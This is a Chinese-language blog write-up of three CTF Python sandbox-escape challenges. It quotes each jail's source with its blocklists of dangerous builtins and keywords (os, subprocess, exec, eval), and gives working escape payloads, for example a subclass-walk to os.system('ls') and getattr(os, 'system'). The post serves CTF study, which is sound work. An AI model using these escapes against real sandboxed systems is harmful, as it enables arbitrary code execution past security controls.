python沙箱逃逸小結

python沙箱逃逸小結
 
上週末,協會的同學去天津交流,天津大學的同學講了一個python沙箱逃逸的案例。今天結合之前的所學和比賽經驗寫一個小結。

 

案例1

 
這是hackuctf 2012的一道題

1.  def make_secure():  
2.      UNSAFE = ['open',  
3.                'file',  
4.                'execfile',  
5.                'compile',  
6.                'reload',  
7.                '__import__',  
8.                'eval',  
9.                'input']  
10.     for func in UNSAFE:  
11.         del __builtins__.__dict__[func]  
12.   
13. from re import findall  
14.   
15. # Remove dangerous builtins  
16. make_secure()  
17.   
18. print 'Go Ahead, Expoit me >;D'  
19. while True:  
20.     try:  
21.         print ">>>",  
22.         # Read user input until the first whitespace character  
23.         inp = findall('\S+', raw_input())[0]  
24.         a = None  
25.         # Set a to the result from executing the user input  
26.         exec 'a=' + inp  
27.         print '>>>', a  
28.     except Exception, e:  
29.         print 'Exception:', e  

下面是腳本運行的效果。
 
python沙箱逃逸小結
 
效果相當於python的命令界面,我們的目標是讀取當前目錄下的flag文件。
如果題目沒有任何的過濾,讀取的命令如下,導入os包,然後直接執行命令。
 
python沙箱逃逸小結
 
但是直接導入os會報錯,如下圖
 
python沙箱逃逸小結
 
因爲 del 命令刪除了對應的命令,如下圖
 
python沙箱逃逸小結
 
看了Ned Batchelder的分享後學到了新知識。我們可以用file對象read文件
下面是元類和元類型詳細信息,元組,子對象
 
python沙箱逃逸小結
 
由於file在索引40,我們可以硬編碼。如下圖
 
python沙箱逃逸小結
 
用file類型讀取flag文件。
 
python沙箱逃逸小結

 

案例2

1.  #!/usr/bin/env python   
2.  from __future__ import print_function  
3.     
4.  print("Welcome to my Python sandbox! Enter commands below!")  
5.     
6.  banned = [    
7.      "import",  
8.      "exec",  
9.      "eval",  
10.     "pickle",  
11.     "os",  
12.     "subprocess",  
13.     "kevin sucks",  
14.     "input",  
15.     "banned",  
16.     "cry sum more",  
17.     "sys"  
18. ]  
19.    
20. targets = __builtins__.__dict__.keys()    
21. targets.remove('raw_input')    
22. targets.remove('print')    
23. for x in targets:    
24.     del __builtins__.__dict__[x]  
25.    
26. while 1:    
27.     print(">>>", end=' ')  
28.     data = raw_input()  
29.    
30.     for no in banned:  
31.         if no.lower() in data.lower():  
32.             print("No bueno")  
33.             break  
34.     else: # this means nobreak  
35.         exec data  

相對於第一題,第二題是沒有直接的回顯。
我們可以用catch_warnings類(索引在59),進行命令執行。

1.  ().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('ls')

 
python沙箱逃逸小結

 

案例3

1.  # -*-coding:utf-8-*-  
2.    
3.  #!/usr/bin/python3  
4.  import sys, cmd, os  
5.    
6.  del __builtins__.__dict__['__import__']  
7.  del __builtins__.__dict__['eval']  
8.    
9.  intro = """ 
10. pwnhub cuit 
11. pwn everything 
12. Rules: 
13.     -No import 
14.     -No ... 
15.     -No flag 
16.  
17. """  
18.   
19. def execute(command):  
20.        exec(command, globals())  
21.   
22. class Jail(cmd.Cmd):  
23.     prompt     = '>>> '  
24.     filtered    = '\'|.|input|if|else|eval|exit|import|quit|exec|code|const|vars|str|chr|ord|local|global|join|format|replace|translate|try|except|with|content|frame|back'.split('|')  
25.   
26.     def do_EOF(self, line):  
27.         sys.exit()  
28.   
29.     def emptyline(self):  
30.         return cmd.Cmd.emptyline(self)  
31.   
32.     def default(self, line):  
33.         sys.stdout.write('\x00')  
34.   
35.     def postcmd(self, stop, line):  
36.         if any(f in line for f in self.filtered):  
37.             print("You are a big hacker !!!")  
38.             print("Go away")  
39.         else:  
40.            try:  
41.                 execute(line)  
42.            except NameError:  
43.                 print("NameError: name '%s' is not defined" % line)  
44.            except Exception:  
45.                 print("Error: %s" % line)  
46.         return cmd.Cmd.postcmd(self, stop, line)  
47.   
48. if __name__ == "__main__":  
49.     try:  
50.         Jail().cmdloop(intro)  
51.     except KeyboardInterrupt:  
52.         print("\rSee you next time !")  

這題是cuit2017的題目,python3環境
這裏主要過濾了大量的字符,包括1,2題所用的點號。

1.  print(getattr(os, "system")  

獲取system函數地址,

1.  print(getattr(os, "system")("ls"))  

執行system(“ls”)
下面是獲取flag的姿勢
 
python沙箱逃逸小結
 
以上都是利用Python作爲腳本語言的特性來逃逸,但是還有一種高深的基於c源碼的逃逸,簡單點就是用c程序的漏洞實現漏洞,類似於PWN。最後也提供了參考鏈接,歡迎一起交流學習。
 
參考鏈接
http://bobao.360.cn/learning/detail/3542.html
http://www.cnblogs.com/Chesky/archive/2017/03/15/Python_sandbox.html
http://bobao.360.cn/learning/detail/4059.html

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章